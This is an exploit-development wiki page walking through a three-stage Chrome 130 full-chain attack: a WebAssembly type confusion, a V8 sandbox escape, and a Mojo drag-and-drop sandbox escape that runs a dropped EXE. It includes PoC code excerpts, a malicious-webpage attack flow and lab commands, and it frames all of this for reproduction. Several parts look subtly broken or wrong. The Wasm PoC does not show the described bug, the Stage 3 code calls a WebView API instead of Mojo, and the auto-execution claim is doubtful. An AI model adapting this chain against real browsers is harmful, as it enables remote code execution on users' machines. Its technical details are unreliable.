Add content from: 101 Chrome Exploitation — Part 0: Preface

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- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)
- [Format Strings](binary-exploitation/format-strings/README.md)
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)

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# Chrome Exploiting
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> This page provides a high-level yet **practical** overview of a modern "full-chain" exploitation workflow against Google Chrome 130 based on the research series **“101 Chrome Exploitation”** (Part-0 — Preface).
> The goal is to give pentesters and exploit-developers the minimum background necessary to reproduce or adapt the techniques for their own research.
## 1. Chrome Architecture Recap
Understanding the attack surface requires knowing where code is executed and which sandboxes apply.
```
+-------------------------------------------------------------------------+
| Chrome Browser |
| |
| +----------------------------+ +-----------------------------+ |
| | Renderer Process | | Browser/main Process | |
| | [No direct OS access] | | [OS access] | |
| | +----------------------+ | | | |
| | | V8 Sandbox | | | | |
| | | [JavaScript / Wasm] | | | | |
| | +----------------------+ | | | |
| +----------------------------+ +-----------------------------+ |
| | IPC/Mojo | |
| V | |
| +----------------------------+ | |
| | GPU Process | | |
| | [Restricted OS access] | | |
| +----------------------------+ | |
+-------------------------------------------------------------------------+
```
Layered defence-in-depth:
* **V8 sandbox** (Isolate): memory permissions are restricted to prevent arbitrary read/write from JITed JS / Wasm.
* **Renderer ↔ Browser split** ensured via **Mojo/IPC** message passing; the renderer has *no* native FS/network access.
* **OS sandboxes** further contain each process (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles).
A *remote* attacker therefore needs **three** successive primitives:
1. Memory corruption inside V8 to get **arbitrary RW inside the V8 heap**.
2. A second bug allowing the attacker to **escape the V8 sandbox to full renderer memory**.
3. A final sandbox-escape (often logic rather than memory corruption) to execute code **outside of the Chrome OS sandbox**.
---
## 2. Stage 1 WebAssembly Type-Confusion (CVE-2025-0291)
A flaw in TurboFans **Turboshaft** optimisation mis-classifies **WasmGC reference types** when the value is produced and consumed inside a *single basic block loop*.
Effect:
* The compiler **skips the type-check**, treating a *reference* (`externref/anyref`) as an *int64*.
* Crafted Wasm allows overlapping a JS object header with attacker-controlled data → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR primitives**.
Minimal PoC (excerpt):
```WebAssembly
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
```
Trigger optimisation & spray objects from JS:
```js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
// primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
```
Outcome: **arbitrary read/write within V8**.
---
## 3. Stage 2 Escaping the V8 Sandbox (issue 379140430)
When a Wasm function is tier-up-compiled, a **JS ↔ Wasm wrapper** is generated. A signature-mismatch bug causes the wrapper to write past the end of a trusted **`Tuple2`** object when the Wasm function is re-optimised *while still on the stack*.
Overwriting the 2 × 64-bit fields of the `Tuple2` object yields **read/write on any address inside the Renderer process**, effectively bypassing the V8 sandbox.
Key steps in exploit:
1. Get function into **Tier-Up** state by alternating turbofan/baseline code.
2. Trigger tier-up while keeping a reference on the stack (`Function.prototype.apply`).
3. Use Stage-1 AAR/AAW to find & corrupt the adjacent `Tuple2`.
Wrapper identification:
```js
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
wrapperGen(0x1337n);
```
After corruption we possess a fully-featured **renderer R/W primitive**.
---
## 4. Stage 3 Renderer → OS Sandbox Escape (CVE-2024-11114)
The **Mojo** IPC interface `blink.mojom.DragService.startDragging()` can be called from the Renderer with *partially trusted* parameters. By crafting a `DragData` structure pointing to an **arbitrary file path** the renderer convinces the browser to perform a *native* drag-and-drop **outside the renderer sandbox**.
Abusing this we can programmatically “drag” a malicious EXE (previously dropped in a world-writable location) onto the Desktop, where Windows automatically executes certain file-types once dropped.
Example (simplified):
```js
const payloadPath = "C:\\Users\\Public\\explorer.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
```
No additional memory corruption is necessary the **logic flaw** gives us arbitrary file execution with the users privileges.
---
## 5. Full Chain Flow
1. **User visits** malicious webpage.
2. **Stage 1**: Wasm module abuses CVE-2025-0291 → V8 heap AAR/AAW.
3. **Stage 2**: Wrapper mismatch corrupts `Tuple2` → escape V8 sandbox.
4. **Stage 3**: `startDragging()` IPC → escape OS sandbox & execute payload.
Result: **Remote Code Execution (RCE)** on the host (Chrome 130, Windows/Linux/macOS).
---
## 6. Lab & Debugging Setup
```bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1
# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
```
Useful flags when launching a *development* build of Chrome:
```bash
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
```
---
## Takeaways
* **WebAssembly JIT bugs** remain a reliable entry-point the type system is still young.
* Obtaining a second memory-corruption bug inside V8 (e.g. wrapper mismatch) greatly simplifies **V8-sandbox escape**.
* Logic-level weaknesses in privileged Mojo IPC interfaces are often sufficient for a **final sandbox escape** keep an eye on *non-memory* bugs.
## References
* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
* [Chromium security architecture](https://chromium.org/developers/design-documents/security)
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